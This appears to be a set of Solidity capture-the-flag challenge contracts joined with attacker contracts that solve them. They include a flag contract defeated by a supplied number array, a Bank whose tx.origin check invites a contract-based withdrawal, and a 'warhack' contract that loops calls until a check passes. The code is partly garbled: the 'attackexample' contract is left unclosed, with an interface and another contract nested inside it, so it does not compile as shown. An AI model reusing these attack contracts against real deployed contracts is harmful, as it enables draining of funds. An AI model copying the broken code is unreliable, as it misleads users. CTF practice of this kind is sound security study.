// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Transfer { // Mapping to store player balances mapping(address => uint256) public player;
// Function to deposit Ether into the contract function deposit() external payable { player[msg.sender] += msg.value; }
// Function to withdraw Ether from the contract function withdraw(uint256 amount) external payable { // Ensure the sender has enough balance to withdraw the specified amount require(player[msg.sender] >= amount, "Insufficient balance"); player[msg.sender] -= amount;
// Transfer the amount back to the sender payable(msg.sender).transfer(amount); }
// Fallback function to accept Ether receive() external payable {} }
contract ArrayMapping { // Mapping to store valid numbers mapping(uint8 => bool) public numberMapping;
// Mapping to track addresses with the "flag" mapping(address => bool) public flag;
// Constructor to initialize the mapping with the provided numbers constructor(uint8[] memory numbers) { for (uint i = 0; i < numbers.length; i++) { numberMapping[numbers[i]] = true; } }
// Function to set the flag if the provided numbers are valid function getflag() public { attackexample attack = attackexample(msg.sender); uint8[] memory nums = attack.getNumbers();
// Check if any number in the provided array is in the mapping require(isInArray(nums), "You can't do this"); flag[address(msg.sender)] = true; }
// Function to check if any number in the input array exists in the mapping function isInArray(uint8[] memory numbers) public view returns (bool) { for (uint i = 0; i < numbers.length; i++) { if (numberMapping[numbers[i]]) return true; } return false; } }
contract attackexample { uint8[] public numbers;
// Function to return the numbers array function getNumbers() public view returns (uint8[] memory) { return numbers; }
interface ArrayMapping { function getflag() external; function flag(address _address) external view returns (bool); }
contract demoattack { uint8[] public numbers; ArrayMapping public targetContract;
constructor(address _targetAddress) { // Updated the list of primes, excluding the two largest ones numbers = [197, 199, 211, 223, 227, 229]; targetContract = ArrayMapping(_targetAddress); }
// Function to retrieve the list of primes function getNumbers() public view returns (uint8[] memory) { return numbers; }
// Attack function to call the target contract's getflag function function attack() public { targetContract.getflag(); }
// Check success of the attack by calling the target contract's flag function function checkSuccess() public view returns (bool) { return targetContract.flag(address(this)); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Bank { bool public flag;
// Constructor that accepts a specific amount of Ether and sets the flag to false constructor() payable { require(msg.value == (15 * 1 ether) / 10, "Incorrect amount of Ether sent"); flag = false; }
// Withdraw function to ensure only contract calls are allowed (no EOAs) function withdraw() public { require(msg.sender != tx.origin, "Fail: External accounts are not allowed"); (bool success, ) = payable(msg.sender).call{value: (15 * 1 ether) / 10}(""); require(success, "Transaction failed"); }
// Solve function that sets the flag to true when the contract balance is 0 function solve() public { require(address(this).balance == 0, "Fail: Contract balance must be 0"); flag = true; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20;
interface Iwar { // Respond function, takes a uint256 parameter function respond(uint256 yours) external;
// Check function, returns a boolean for the address function check(address) external view returns (bool); }
contract warhack { Iwar public add;
// Constructor to initialize the contract with the target address constructor(Iwar _add) { add = _add; }
// Hack function that continuously calls the respond function // until the check function returns true function hack() external { // Infinite loop, runs until check() returns true while (!add.check(address(this))) { add.respond(0); // Respond with 0 to the target contract } } }